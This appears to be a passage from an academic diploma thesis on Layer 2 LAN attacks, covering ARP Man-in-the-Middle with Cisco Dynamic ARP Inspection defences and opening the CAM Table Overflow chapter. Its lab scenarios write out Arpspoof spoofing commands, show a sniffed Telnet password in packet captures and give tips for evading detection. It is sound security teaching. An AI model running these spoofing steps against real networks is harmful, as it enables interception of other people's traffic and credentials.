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Abstrakt 
Tato diplomová práce se zabývá principy, praktickou proveditelností a zabezpečením proti 
čtyřem v současnosti používaným útokům v LAN sítích: CAM Table Overflow sloužícího 
k odchytu dat v přepínaných sítích, ARP Man-in-the-Middle schopného přesměrovat a 
modifikovat data a dvěma variantám útoku VLAN Hopping dovolujícího útočníkovi zasílat a 
odchytávat data z VLAN, ke kterým nemá oficiálně přístup. 
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Abstract 
This diploma thesis focuses on principles, practical performability and security against four 
attacks used in contemporary local-area networks: CAM Table Overflow capable of capturing 
traffic in switched networks, ARP Man-in-the-Middle, whose target is to redirect or modify 
traffic and against two variants of VLAN Hopping attack allowing a hacker to send and capture 
data from VLANs he has no access to. 
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1 Introduction 
Requirements to interconnect computers into larger units – networks – gradually rise with 
continuous increase of computer importance in modern society. Whether the reason to group is 
file sharing, social networking or performance distribution, a computer which is unable to 
communicate can be compared to a “hand without fingers”. It is difficult to image worldwide 
community without Internet just like it is difficult to imagine high-tech industrial devices 
without high-speed interconnecting networks. By massively accelerating the information-
exchange process, computer networks have clearly increased the work’s productivity and 
effectivity. 
On the other hand, the successive increase of their utilization by the society has come to a state, 
when the society’s dependency on communication technologies is so strong, that even a small 
communication failure, information lost or modification may have strong consequences. No 
matter whether it is aimed or accidental, the loss of companies and countries is count in 
millions. Because of this, the world is investing more and more money into network security 
which evolved from second-class supportive component of network design into one of its most 
important and irreplaceable part. The scope of the network security is very large and can be 
divided into layers of ISO OSI model. For example, while the security protects routing 
protocols operating at L3, at L4 it defines several encryption protocols which protect the 
confidentiality and integrity of data stream. The safety of transporting data on a successive layer 
strictly depends on the security of all layers beneath it. If any of lower layers get compromised, 
security of whole ISO OSI stack suffers no matter how upper layers are safe.  
The internet is full of information regarding network attacks and their threat to contemporary 
information systems. However, most of web pages, articles and books are written to attract wide 
range of readers and focus on the amount of described attacks rather than on the deepness of 
presented information. Of course, if they did, they would become uneconomic from publisher’s 
point of view. What’s alarming is that there are sometimes incorrect facts presented. Good 
example is (1) where there is in section “VLAN Hopping Attacks” stated that VLAN hopping 
does not work on a single switch. Whole chapter 5, however, talks about VLAN-hopping 
technique that does in single-switch environment pretty well. Even more, the attack has been 
tested on real hardware. 
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This thesis tries to be the foundation-stone of future set of documents describing network 
attacks in much more detail. If we omit the possibility of compromising wires of the network, 
the application area of network security starts at the data-link layer of ISO OSI model.  The 
thesis describes four network attacks operating at L2 – ARP Man-in-the-Middle, CAM Table 
Overflow, Double-Tagging and Switch-Spoofing. First two of them are techniques utilized in 
switched networks whose main purpose is capturing private data of particular host(s). Second 
two are main techniques of performing VLAN hopping – unauthorized use of some VLAN. 
The term “describes” in this context means several things. Every chapter begins with basic 
description of covered attack. It introduces the attack to the reader and familiarizes him with its 
possibilities. First subchapter of each chapter is called Principles of the Operation and talks 
about attack’s prerequisites, used protocols and explains what the attack exploits. Last section 
presents the attacking process on fictive network using textual notations and an illustrated 
diagram and helps the reader understand how all mentioned things are put together in order to 
perform the attack. After explaining the principles, security issues are covered. This subchapter 
gives the reader advices on how to secure the network in order to prevent the attack. Table with 
commonly used commands is presented. 
What makes this thesis different from other documents is that each described attack has been 
tested on real hardware with available up-to-date attacking software. Two simple scenarios were 
made up for each attack and were performed in laboratory containing active devices from 
world’s top manufacturer – Cisco. Their purpose was to analyze required steps of a hacker, 
passed traffic and how involved devices react during the attack. They also verified whether 
given security advices were necessary or additional configuration was needed. The results are 
shown in a subchapter named Attack Implementation which is present in every chapter. 
Configuration files and captured communication is available on attached CD. 
Term project completed before this thesis contained the analysis of CAM Table Overflow 
attack. Contained information had been slightly modified and can be found in chapter 3. 
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2 ARP Man-in-the-Middle 
The invention of switched technology and its application in real world subsequently created the 
need to make up from scratch (or at least completely redesign) several network attacks, that 
would otherwise become useless. 
One example of such attack is sniffing – capturing traffic that flows between network devices – 
which had to be worked over. In ages of shared medium, the attacker had to do nothing more 
than plugging the cable into a hub and listening for interesting data. By replacing the hub with a 
switch, the traffic received through one port is sent out only port that it is dedicated to. Although 
the primary purpose of this mechanism is to save the bandwidth, it is also sometimes incorrectly 
considered as a countermeasure against sniffing. As there are several techniques that 
successfully get around this “security” feature, switching only makes sniffing more difficult. It 
does not prevent it. 
The first network attack covered in this thesis is ARP Man-in-the-Middle, which is an attacking 
technique often performed in contemporary switched LAN environments. The attack itself 
belongs to large group of ARP cache-poisoning attacks and as the name implies, its primary 
intention is to insert hacker into line between two communicating devices. When the line is 
compromised, the attack allows a hacker to sniff, filter, modify or insert any data he wants. It 
exploits weak binding between host’s IP and MAC address and advantages of frame switching 
in modern networks. What’s more, there is no effective way for hosts to defend on their own. 
This chapter introduces the ARP Man-in-the-Middle attack. Section 2.1 talks about its basic 
principles end explains how the attack works in more detail. Security issues with set of 
configuration commands are covered in section 2.2. 
Two scenarios in section 2.3 reveal the reader all necessary steps that a hacker will do if he 
wants to attack real network. The practical process is explained in detail on simple laboratory 
network with real Cisco devices and up-to-date operation systems. Also, one of the scenarios 
proves that the security advices from section 2.2 works as expected.  
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2.1 Principles of the Operation 
The ARP Man-in-the-Middle attack benefits from two characteristics of an Ethernet LAN – the 
absence of authentication in ARP protocol and the way, how a frame is switched at link layer 
during its flow. 
2.1.1 ARP Cache 
When any host, no matter if it’s a router, server or ordinary workstation, wants to communicate 
with another host in LAN environment utilizing Ethernet, it needs two addresses – IP address 
which it already knows or resolves through DNS or NetBIOS and MAC address, which it gets 
through ARP protocol operating on the border of link and network layer. 
As the process of resolving MAC address takes considerable amount of time, hosts resolve the 
MAC address only once and store it in their ARP cache with a timestamp. When the 
preconfigured period (timeout) expires, the entry is usually deleted and the address is newly 
resolved. The timeout varies host by host and heavily depends on operating system. Following 
table lists default ARP entry timeouts on few operating systems. The information was taken 
from (2), (3), (4) and (5). 
 
 
2.1.2 Gratuitous ARP 
In order to get in between two communicating hosts, a hacker needs to fool both sides of the 
channel. He steals L3 identity (the IP address) of the opposite side by issuing special unsolicited 
Table 2.1 – Default ARP entry timeouts on different OSs 
OS Timeout 
Windows 2000 2 min. for unused entries, 
10 min. for used entries 
Windows Server 2003 2 min. for unused entries, 
10 min. for used entries 
Windows Vista 15 – 45 seconds (random) 
Cisco IOS 12.0 4 hours 
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ARP reply message to the target. The message is the same as the ARP replay that the hacker 
would send back if someone asked for his MAC. However, instead of real hacker’s IP address, 
it contains the IP address of the host on the other side of the communication line. When the 
target host receives such message, it updates its ARP cache and binds opponent’s IP with 
hacker’s MAC. No matter if the real MAC has already been cached, according to (6), target host 
is forced to process the update. This feature is called Gratuitous ARP and is commonly utilized 
in detecting IP conflicts when particular host enters an Ethernet network. 
Finally, when the ARP cache of both sides is compromised, hosts send all data to correct IP, but 
wrong MAC. As the switch in the middle is unaware of L3 protocol, it forwards the frames to 
the hacker. When hacker examines them, he replaces spoofed MAC with original MAC address 
and forwards the frames out the same interface where the switch sends them to the right 
destination. 
2.1.3 Attack Example 
Let’s have a simple example. LAN consists of three hosts. Host A communicates with host B 
through a switch. Host X – a hacker – wants to sniff the private traffic. Figure 3.1 illustrates the 
scenario: 
1. The hacker initiates the attack by sending gratuitous ARP replay to host A telling A that 
he owns B’s IP. This causes the insertion of X’s MAC into ARP cache and binding it 
with B’s IP address. Similar process is repeated against host B.  
2. Host A sends an ICMP packet to B. The packet is on network layer destined to B, but 
its Ethernet header carries MAC address of host X. The switch, which is unaware of 
network layer header, therefore, forwards the frame towards the hacker. 
3. Hacker examines the received packet, replaces the destination L2 address with proper 
address of host B and sends the message back to the network. Now, when the MAC 
address is correct, the switch forwards the ICMP echo request to host B. No unusual 
behavior except the increased delay is noticed by communicating parties. 
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2.2 Securing the Network 
In all ARP cache poisoning attacks, stations are unable to defend themselves alone. They have 
no information about valid and invalid MAC-to-IP mappings and thus can’t make any decision 
whether or not the incoming ARP reply is correct. In this case, the network “guard” becomes 
the switch. 
To defend against ARP man-in-the-middle attack using Cisco switches, Dynamic ARP 
Inspection must be enabled. Primary goal of this feature is listening for traversing ARP packets 
and dropping those, which don’t have corresponding sender or receiver IP and MAC addresses. 
Figure 2.1 – The ARP Man-in-the-Middle ICMP 
example 
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List of correct IP-MAC bindings gets the switch from another IOS feature called DHCP 
Snooping. After specifying a port that connects to DHCP server, the switch listens to DHCP 
communication of its hosts. It builds up the database and manages it until it is rebooted. 
Dynamic ARP Inspection can also be configured in non-DHCP environments using special 
ARP access lists. 
Table 2.2 – DHCP Snooping and Dynamic ARP Inspection commands 
Command Description 
Switch(config)# ip dhcp snooping Enable DHCP snooping globally. 
Switch(config)# ip dhcp snooping 
vlan vlan-range 
Enable DHCP snooping on a VLAN or range of 
VLANs. The range is 1 to 4094. 
Switch(config)#ip dhcp snooping 
information option 
Enables the switch to insert and remove DHCP 
relay information (option-82 field) in forwarded 
DHCP request messages to the DHCP server.  
The default is enabled.  
Switch(config-if)# ip dhcp 
snooping trust 
Tells DHCP snooping to trust the port where 
DHCP server is connected. 
Switch(config)# ip arp inspection 
vlan vlan-range 
Enable dynamic ARP inspection on a per-VLAN 
basis. By default, dynamic ARP inspection is 
disabled on all VLANs. 
Switch(config)# ip arp inspection 
validate {[src-mac] [dst-mac] 
[ip]}  
 
Perform a specific check on incoming ARP 
packets. By default, no checks are performed. 
Switch(config-if)# ip arp 
inspection trust 
Configure the connection between the switches or 
a DHCP server as trusted.  
By default, all interfaces are untrusted.  
Switch# show ip arp inspection 
interfaces [interface-id] 
Displays the trust state and the rate limit of ARP 
packets for the specified interface or all interfaces. 
Switch# show ip arp inspection 
statistics [vlan vlan-range] 
Displays statistics for for a range of VLANs. 
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Some commands regarding DHCP Snooping and Dynamic ARP Inspection are listed in Table 
2.2. More information about implementing Dynamic ARP Inspection on Catalyst 3560 switches 
can be found in (7). 
2.3 Attack Implementation 
Implementation of ARP Man-in-the-Middle attack is not complicated. Precompiled smart tools 
available from the Internet allow even an unskilled hacker to perform the attack and succeed if 
the network is not secured enough. 
Next two scenarios demonstrate the attacking procedure on real hardware. They analyze the 
necessary steps and results of an attack that was performed in laboratory conditions in order to 
get between two communicating hosts. Similar steps will a hacker take if he performs the attack 
in real-world environment. 
Captured packets and full configuration files for both scenarios can be found in Appednix A in 
/scenarios/scenario_2_1 and /scenarios/scenario_2_2 directories. 
2.3.1 Scenario 2.1 – Attack Implementation in Unsecured 
Network 
The first scenario demonstrates the ARP Man-in-the-Middle attack on two communicating hosts 
located in an unsecured network. Host A is communicating with host B through the switch. Host 
X – the attacker – starts sending ARP poisoning frames to hosts A and B and begins capturing 
the traffic. 
During the attack A initiates Telnet session with B and logs in with valid authentication 
credentials. The attacker is successful and captures the password sent as plaintext between the 
two hosts. After that, he tries to leave silently, but the bug in attacking tool causes hosts to 
become unreachable for a while. 
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2.3.1.1 Topology Diagram 
This scenario consists of three hosts connected to a switch in a single star topology. Hosts A and 
B are communicating hosts, host X is the hacker (or hacker’s PC). External DHCP server is also 
connected to the switch. Figure 2.2 illustrates the topology with IP and MAC addressing in 
more detail.  
A
192.168.0.2
00:04:75:fc:c6:b2
X
192.168.0.1
00:0c:29:fd:61:12
B
192.168.0.3
00:d0:59:1a:13:dc
Fa0/1
DHCP Server
192.168.0.254
Fa0/3
F
a
0
/2
SW
VLAN1: 192.168.0.3
F
a
0
/2
4
E
th
0
 
 
2.3.1.2 Device Configuration 
Hosts A and B 
Client hosts A and B are ordinary workstations. Host A is a PC running Microsoft Windows XP 
with Service Pack 2 installed. To make simulation as realistic as possible, the standard 
Windows Firewall is turned on. Workstation B is running Microsoft Windows 2000 operating 
system without any firewall enabled. 
In order to capture and later analyze traffic among all hosts, Wireshark network protocol 
analyzer is preinstalled on both workstations.  
For better demonstration of successful/unsuccessful attack, hosts A and B talk to each other 
using Telnet protocol. This requires additional software support and host B is chosen to serve as 
the Telnet server running default Telnet Service. It is configured to authenticate all users with 
Figure 2.2 – Topology diagram 
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plaintext password. To accommodate the needs of the implementation, new user is added into 
the system with username “telnetadmin” and password “testing123*” before the attack. As 
standard Telnet client shipped with Windows sends new packet for every typed character, Putty 
0.60 is installed on host A. It is configured to cache and send whole line as one packet when 
user presses Enter key (Figure 2.3).  
 
 
In order to simulate real-world environment, LAN interfaces on all hosts are configured to 
acquire the IP address from external DHCP server. 
Host X 
Attacking tools are available only for Linux distributions so the chosen operating system for 
host X is Ubuntu 7.10 Server Edition. As this distribution does not run any X-Window system, 
the Tcpdump tool has to be used to sniff for interesting traffic. 
The main attacking utility is Arpspoof from package called Dsniff. The package programmed 
by Dug Song is available from standard repository through APT package manager as a 
precompiled tool. When using other OS, the source code can be downloaded from (8). 
As discussed earlier, the reception of interesting frame is only the first half of the attack. The 
attacker shouldn’t break the communication line between A and B and has to deliver captured 
Figure 2.3 – Putty configuration 
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frame to the expected receiver. This is done by enabling forwarding of IP packets in system’s 
kernel. 
By default, the system would send an ICMP redirect message because it is forwarding the 
packet out the same interface it was received. This behavior is not desirable and has to be 
disabled in kernel too. It is also necessary to deactivate the system’s firewall. 
The Switch 
Switch SW is a standard Cisco Catalyst 3560 multilayer switch running IOS version 12.2 SEE 
with Advanced IP Services feature set. 
To demonstrate unsecured network, configuration on SW is cleared and the switch is rebooted 
before any additional configuration changes are made. For management purpose, only interface 
VLAN 1 is configured with proper IP address and the Telnet access is enabled. 
Fragments of configuration are listed on Figure 2.4. 
 
 
Figure 2.4 – Unsecured switch configuration 
SW#show running-config 
... 
hostname SW 
! 
enable password cisco 
! 
... 
! 
interface FastEthernet0/1 
! 
interface FastEthernet0/2 
! 
interface FastEthernet0/3 
! 
... 
! 
interface FastEthernet0/24 
! 
... 
! 
interface Vlan1 
 ip address 192.168.0.100 255.255.255.0 
! 
... 
line vty 0 4 
 password cisco 
 login 
... 
18 
 
2.3.1.3 Scenario Progress Analysis 
The scenario is divided into these four steps: 
1. Host A starts generating ICMP traffic in order to verify whether the connection works. 
2. The attacker issues few commands and using Arpspoof utility starts sending gratuitous 
ARP replies to both client hosts in order to change their ARP caches. 
3. The Telnet connection is initiated from host A to host B. Host A logs in with password 
which is successfully captured by host X. 
4. The attacker tries to restore the original ARP cache, but fails due to bug in attacking 
tool. The connection is, therefore, broken. 
Step 1: Generating ICMP Traffic 
Host A starts “pinging” host B in order to generate traffic that is intended to periodically check 
whether the connection between hosts work. 
Step 1.1: To simulate uninteresting third party bidirectional communication between hosts A 
and B, ping 192.168.0.3 –t command has been issued on command line of host A which 
starts generating the ICMP traffic. This helps determine whether or not the connection between 
hosts is functioning properly before, during and after the attack. 
Step 1.2: Next two figures show the content of ARP cache on hosts A and B. By the time, both 
MAC-to-IP assignments are correct and correspond to addresses in topology diagram. 
 
 
 
 
Figure 2.6 – ARP cache of host B 
C:\WINDOWS>arp -a 
 
Interface: 192.168.0.3 on Interface 0x1000003 
  Internet Address      Physical Address      Type 
  192.168.0.2           00-04-75-ec-c6-b2     dynamic 
Figure 2.5 – ARP cache of host A 
C:\WINDOWS>arp -a 
 
Interface: 192.168.0.2 --- 0x2 
  Internet Address      Physical Address      Type 
  192.168.0.3           00-d0-59-1a-13-dc     dynamic 
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Step 2: Spoofing Client Hosts 
Host X begins sending gratuitous ARP reply messages to both hosts which causes them to 
update their ARP caches. 
Step 2.1: According to captured data from host X, there hasn’t been any ICMP request or reply 
message captured yet. This happens because the switch is constantly sending data only to ports 
Fa0/1 and Fa0/3. 
To change this behavior, Arpspoof utility from Dsniff package has to be used. According to the 
manual, it has two important parameters. The first –t parameter specifies the IP address of a 
host the hacker wants to fool. The second parameter is the IP address of a host the hacker wants 
to substitute in the communication. This means that in order to establish full man-in-the-middle 
state, the command has to be used twice – once to fool host A and once to fool host B. 
First half of the attack is started by issuing command arpspoof –i eth0 –t 192.168.0.2 
192.168.0.3 on host X to fool host A (Figure 2.7). Immediately after it is entered, host X 
begins sending ARP reply messages to host A with content saying “host B’s IP address belongs 
to host X’s MAC address”. The period is 2 seconds. 
 
 
Figure 2.8 reveals the content of the first message captured on host A. Notice the invalid sender 
IP-to-MAC mapping which will be added to A’s cache. IP address is the address of host B, but 
the MAC address is not B’s – it is X’s. 
Figure 2.7 – The output of Arpspoof utility 
root@ubuntu:~# arpspoof –i eth0 –t 192.168.0.2 192.168.0.3 
0:c:29:fd:61:12 0:4:75:ec:c6:b2 0806 42: arp reply 192.168.0.3 is-at 
0:c:29:fd:61:12 
20 
 
 
 
Immediately after host A has received the message, it updates its ARP cache and all next ICMP 
requests are sent to MAC address of host X. At this point, the hacker is able to capture all traffic 
destined to host A (see all ICMP requests from 57 to 65 in Wireshark output from A), but not 
from opposite direction. ICMP replies sent from host B are still sent directly with correct MAC 
address as the host hasn’t already been spoofed.  
Entering command arpspoof –i eth0 –t 192.168.0.3 192.168.0.2 executes the process of 
spoofing against host B too and ICMP messages from both directions start crossing host X. 
Step 2.2: Command arp –a issued on both hosts displays ARP cache as shown on Figure 2.9 
and Figure 2.10. The highlighted MAC address on both figures is the address of host X as 
expected. Compare it to Figure 2.5 and Figure 2.6 mentioned earlier. 
 
 
 
 
Step 2.3: Figure 2.11 shows fragment of third-party ICMP traffic as captured on host X after the 
ARP caches of both hosts has been compromised. Notice messages 28 and 29. At L3 they are 
Figure 2.10 – Spoofed ARP cache of host B 
C:\WINDOWS>arp -a 
 
Interface: 192.168.0.3 
  Internet Address      Physical Address      Type 
  192.168.0.2           00-0c-29-fd-61-12     dynamic 
Figure 2.9 – Spoofed ARP cache of host A 
C:\WINDOWS>arp -a 
 
Interface: 192.168.0.2 --- 0x2 
  Internet Address      Physical Address      Type 
  192.168.0.3           00-0c-29-fd-61-12     dynamic 
Figure 2.8 – Gratuitous ARP reply message 
Frame 55 (60 bytes on wire, 60 bytes captured) 
Ethernet II, Src: 00:0c:29:fd:61:12 Dst: 00:04:75:ec:c6:b2  
Address Resolution Protocol (reply) 
    Hardware type: Ethernet (0x0001) 
    Protocol type: IP (0x0800) 
    Hardware size: 6 
    Protocol size: 4 
    Opcode: reply (0x0002) 
    Sender MAC address: 00:0c:29:fd:61:12 
    Sender IP address: 192.168.0.3 
    Target MAC address: 00:04:75:ec:c6:b2 
    Target IP address: 192.168.0.2 
21 
 
both addressed to host B, but if you take closer look at L2 addresses, they are different. Message 
28 is the message generated from host A. Message 29 is in fact message 28 as forwarded from 
host X to host B. All redirected messages follow the same procedure. 
 
 
Step 3: Telnet Session and Password Capturing 
Client running on host A initializes the Telnet connection to host B. Logging in with a valid 
name and password is successful. As ARP cache of both hosts has been compromised, host X 
captures the password. 
Step 3.1: Using Putty, host A connects to host B’s port 23. He logs in with username 
“telnetadmin” and password “testing123*” and immediately terminates the session. 
Step 3.2: As all the Telnet data were sent to host B through host X. Contents of frame 191 listed 
on next figure shows the captured password. The frame was captured on host X so we can say 
that the attack was successful. 
 
 
Figure 2.12 – Captured Telnet password 
Frame 191 (65 bytes on wire, 65 bytes captured) 
Ethernet II, Src: 00:04:75:ec:c6:b2, Dst: 00:0c:29:fd:61:12  
Internet Protocol, Src: 192.168.0.2, Dst: 192.168.0.3 
Transmission Control Protocol, Src Port: resacommunity (1154), Dst Port: 
telnet (23), Seq: 52, Ack: 187, Len: 11 
Telnet 
    Data: testing123* 
Figure 2.11 – ICMP traffic redirection 
No. Source MAC Destination MAC Source IP Destination IP ICMP Type 
28 00:04:75:ec:c6:b2 00:0c:29:fd:61:12 192.168.0.2 192.168.0.3 Echo request 
29 00:0c:29:fd:61:12 00:d0:59:1a:13:dc 192.168.0.2 192.168.0.3 Echo request 
30 00:d0:59:1a:13:dc 00:0c:29:fd:61:12 192.168.0.3 192.168.0.2 Echo reply 
31 00:0c:29:fd:61:12 00:04:75:ec:c6:b2 192.168.0.3 192.168.0.2 Echo reply 
34 00:04:75:ec:c6:b2 00:0c:29:fd:61:12 192.168.0.2 192.168.0.3 Echo request 
35 00:0c:29:fd:61:12 00:d0:59:1a:13:dc 192.168.0.2 192.168.0.3 Echo request 
36 00:d0:59:1a:13:dc 00:0c:29:fd:61:12 192.168.0.3 192.168.0.2 Echo reply 
37 00:0c:29:fd:61:12 00:04:75:ec:c6:b2 192.168.0.3 192.168.0.2 Echo reply 
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Step 4 : Ending the Attack 
In order to leave silently and not break the connection, a hacker has to stop sending gratuitous 
ARP messages and rollback the ARP cache of both attacked hosts so they can send data to the 
proper MAC addresses. 
Utility used in this attack tries to do both things. After user ends the application (for example by 
“killing” its process), it stops sending fake ARPs and tries to restore the broken MAC-to-IP 
mapping of target host by sending three gratuitous ARP reply messages that pretend to be sent 
from the other side of the communication (see messages 263, 267 and 270 sent to host B in 
Tcpdump output from X). The problem is that they are sourced at L2 from the opposite MAC so 
the switch messes up its CAM table records. 
 
 
Broken CAM table of the switch is shown on Figure 2.13. Notice that host B is assigned to 
wrong port Fa0/2 – the port of the attacker. The record of host A is correct because it is still 
sending ICMP echo requests which forces the switch to correct its CAM table record. Although 
one side of the link is working, the ICMP requests are not delivered to host B thus no replies are 
sent back. 
Figure 2.14 displays how the Ping was working before, during and after the attack. Notice how 
the TTL value changed. In this case, this was the only possibility for a host to detect the attack. 
Figure 2.13 – Broken MAC address table on switch after the attack 
SW#show mac-address-table dynamic 
          Mac Address Table 
------------------------------------------- 
 
Vlan    Mac Address       Type        Ports 
----    -----------       --------    ----- 
   1    0004.75ec.c6b2    DYNAMIC     Fa0/1 
   1    000c.29fd.6112    DYNAMIC     Fa0/2 
   1    0012.43fc.e081    DYNAMIC     Fa0/24 
   1    00d0.591a.13dc    DYNAMIC     Fa0/2 
Total Mac Addresses for this criterion: 4 
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2.3.1.4 Leaving the Network Silently 
The problem with CAM table caused by the Arpspoof utility when it finishes its work is 
unacceptable and can be compared to performing a denial of service. Fortunately, there are 
several ways how to avoid it: 
 Try different utility or write a simple script using some packet-crafting software (e.g. 
Nemesis); 
 Repair the bug in Arpspoof (source code is available at (8)); 
 “Kill” Arpspoof using SIGTERM and wait until records in ARP caches of both hosts 
time out. Do not disable IP forwarding until the timers expire. 
2.3.2 Scenario 2.2 – Attack Implementation in Secured 
Network 
Previous scenario demonstrated the ARP Man-in-the-Middle attack implemented in an 
unsecured network. Steps performed in this scenario are the same, but the switch is secured 
using commands listed in Table 2.2. This time, the traffic is not redirected and passwords 
cannot be captured. The topology is shown on Figure 2.2 in previous scenario. 
Figure 2.14 – Broken communication link after the attack 
C:\WINDOWS>ping 192.168.0.3 -t 
 
Pinging 192.168.0.3 with 32 bytes of data: 
 
Reply from 192.168.0.3: bytes=32 time=10ms TTL=128 
Reply from 192.168.0.3: bytes=32 time<1ms TTL=128 
Reply from 192.168.0.3: bytes=32 time<1ms TTL=128 
... 
Reply from 192.168.0.3: bytes=32 time=1ms TTL=127 
Reply from 192.168.0.3: bytes=32 time=1ms TTL=127 
Reply from 192.168.0.3: bytes=32 time=1ms TTL=127 
Request timed out. 
Request timed out. 
Request timed out. 
... 
before 
during 
after 
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2.3.2.1 Device Configuration 
According to section 2.2, the security lies on switch. No changes to hosts have to be, therefore, 
made.  
In order to get Dynamic ARP Inspection running, the DHCP Snooping has to be enabled first. 
As the there is only one VLAN in this scenario, the DHCP Snooping feature is enabled only for 
default VLAN 1. By default, the switch acts as a relay agent and inserts Option-82 into each 
DHCP message. As all clients lie in the same L2 segment, this behavior is disabled. Finally, the 
port leading to DHCP server is set to be trusted. 
Configuration of Dynamic ARP Inspection follows similar procedure. At first, it is globally 
enabled for VLAN 1. Then it is told to validate both MAC addresses – source and destination – 
against packet’s IP and trust the port heading to DHCP server. 
Figure 2.15 shows main fragments of switch’s configuration. 
 
 
Figure 2.15 – Secured switch configuration 
SW#show running-config 
... 
! 
hostname SW 
! 
enable password cisco 
! 
... 
! 
ip dhcp snooping vlan 1 
no ip dhcp snooping information option 
ip dhcp snooping 
ip arp inspection vlan 1 
ip arp inspection validate src-mac dst-mac ip  
! 
... 
! 
interface FastEthernet0/24 
 ip arp inspection trust 
 ip dhcp snooping trust 
! 
... 
interface Vlan1 
 ip address 192.168.0.100 255.255.255.0 
! 
... 
line vty 0 4 
 password cisco 
 login 
... 
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2.3.2.2 Scenario Progress Analysis 
The scenario is divided into these five steps: 
1. Security configuration is verified whether it works properly. 
2. Host A starts generating ICMP traffic in order to verify whether the connection works. 
3. The attacker starts sending gratuitous ARP replies to both client hosts but the switch 
automatically drops these messages. 
4. Telnet connection is initiated from host A to host B. As the ARP caches haven’t been 
compromised, the password is not captured by the attacker. 
5. The attacker tries to leave the network silently, but due to a bug discussed in previous 
scenario the connection is broken again. 
Step 1: Verifying Security Configuration 
Immediately after the DHCP snooping feature has been enabled, SW is listening to DHCP 
requests of all hosts in the network. When a host asks for an IP address and obtains it, the switch 
adds a new entry to the snooping database. Figure 2.16 displays all detected IP-to-MAC 
bindings that are stored in RAM of the switch. 
 
 
Information regarding the operation of Dynamic ARP Inspection on VLAN 1 is shown on 
Figure 2.17. Validation status indicates that the feature has been configured properly. 
Figure 2.16 – DHCP snooping database 
SW#show ip dhcp snooping binding 
MacAddress          IpAddress        Lease(sec)  Type           VLAN  Interface 
------------------  ---------------  ----------  -------------  ----  ------------------ 
00:04:75:EC:C6:B2   192.168.0.2      86384       dhcp-snooping  1     FastEtheet0/1 
00:D0:59:1A:13:DC   192.168.0.3      86371       dhcp-snooping  1     FastEtheet0/3 
00:0C:29:FD:61:12   192.168.0.1      86389       dhcp-snooping  1     FastEtheet0/2 
Total number of bindings: 3 
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Step 2: Generating ICMP Traffic 
Like in scenario 1, the ICMP communication is started by issuing ping 192.168.0.3 –t 
command in the Windows command line of host A. 
Step 3: Spoofing Client Hosts 
Using Arpspoof, host X starts generating fake ARP replies in order to spoof client hosts. 
Step 3.1: The attack is started by telling the Arpspoof tool to spoof both client workstations (see 
previous scenario). Immediately after the first gratuitous ARP message leaves host X, the switch 
begins displaying debugging output similar to that shown on Figure 2.18. This output repeats 
for every detected invalid ARP frame. Notice the invalid MAC-IP binding. 
 
 
By default, when switch detects invalid ARP frame, it discards the frame and leaves the port 
enabled. This behavior can be changed. 
Step 3.2: Clear evidence that the Dynamic ARP Inspection works as expected is displayed on 
following two figures. They both show the untouched ARP caches of host A and B. 
Figure 2.18 – Debug output of switch 
00:46:14: %SW_DAI-4-DHCP_SNOOPING_DENY: 1 Invalid ARPs (Res) on Fa0/2, vlan 1. 
([000c.29fd.6112/192.168.0.3/0004.75ec.c6b2/192.168.0.2/00:46:13 UTC Mon Mar 1 1993]) 
Figure 2.17 – Dynamic ARP Inspection status 
SW#show ip arp inspection vlan 1 
 
Source Mac Validation      : Enabled 
Destination Mac Validation : Enabled 
IP Address Validation      : Enabled 
 
 Vlan     Configuration    Operation   ACL Match          Static ACL 
 ----     -------------    ---------   ---------          ---------- 
    1     Enabled          Active 
 
 Vlan     ACL Logging      DHCP Logging 
 ----     -----------      ------------ 
    1     Deny             Deny 
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Step 4: Telnet Session and Password Capturing 
Client from host A initializes the Telnet connection to host B just like in previous scenario. The 
logging is successful and the session is regularly terminated. The list of all frames captured on 
host X does not contain any of the Telnet packets which indicates, that the attack failed. The 
capture also shows that although 28 poisoning ARP reply messages had been sent from host X, 
none of them reached neither host A, nor host B. 
Figure 2.21 shows the statistics of Dynamic ARP Inspection taken at the end of the attack. 
Notice the number of dropped frames. It indicates that the feature dropped all poisoning 
messages. 
 
 
Figure 2.21 – ARP Inspection statistics 
SW#show ip arp inspection statistics vlan 1 
 
 Vlan      Forwarded        Dropped     DHCP Drops      ACL Drops 
 ----      ---------        -------     ----------      --------- 
    1              8             28             28              0 
 
 Vlan   DHCP Permits    ACL Permits   Source MAC Failures 
 ----   ------------    -----------   ------------------- 
    1              8              0                     0 
 
 Vlan   Dest MAC Failures   IP Validation Failures   Invalid Protocol Data 
 ----   -----------------   ----------------------   --------------------- 
    1                   0                        0                       0 
 
Figure 2.20 – Clear ARP cache of host B 
C:\WINDOWS>arp -a 
 
Interface: 192.168.0.3 on Interface 0x1000003 
  Internet Address      Physical Address      Type 
  192.168.0.2           00-04-75-ec-c6-b2     dynamic 
Figure 2.19: Clear ARP cache of host A 
C:\WINDOWS>arp -a 
 
Interface: 192.168.0.2 --- 0x2 
  Internet Address      Physical Address      Type 
  192.168.0.3           00-d0-59-1a-13-dc     dynamic 
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Step 5 : Ending the Attack 
Although configured security features dropped previous fake ARP reply messages, the problem 
with broken connection at the end remains. This happens because the switch does only validate 
IP-to-MAC mappings of an ARP message. The content of the message is not confronted with 
the port the message is received on. Previously mentioned “reparing” ARP replies have correct 
IP-to-MAC mappings in their body. For this reason, Dynamic ARP Inspection allows the switch 
to forward them to their destination and the switch messes up its CAM table just like in previous 
scenario. 
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3 CAM Table Overflow 
CAM Table Overflow, which is covered in this chapter, is an attacking technique primarily 
aimed at switching devices that lie on the logical communication path between any two hosts. In 
contrast to ARP Man-in-the-Middle, this attack is much less powerful and does not allow a 
hacker to insert or filter any traffic. The only thing a hacker can do is sniffing for data and that’s 
why it poses smaller danger. 
The attack exploits the way a switch forwards data if it is unable to remember which MAC 
address belongs to which physical port. Target switch is usually the one that a hacker is directly 
connected to. However, if topology details are known, it is also possible to attack multiple 
switches and capture data from hosts located anywhere within the same L3 segment. When 
performed, it allows a hacker to sniff not only frames belonging to certain host, but all frames 
traversing the switch. 
Although the idea of the attack is very sly, one serious limitation covered in section 3.1.4 
degrades its applicability to certain situations only.  
3.1 Principles of the Operation 
CAM Table Overflow attack exploits certain behavior in frame processing on switching devices 
which is activated when the switch is unable to remember what MAC address belongs to what 
port. 
3.1.1 The Role of CAM Table 
Main difference between hub and switch is in the way they forward data. A hub plays role of a 
simple multi-connector and forwards frames out all ports. Switch forwards frames only to ports 
where communicating hosts are located. Main purpose of this feature is to spare bandwidth on 
ports that are not involved in communication and allow simultaneous communication of more 
than just two hosts connected to the switch. This results in much more efficient bandwidth 
utilization and reduces collision domains from whole L2 segment up to the line between host 
and the switch. 
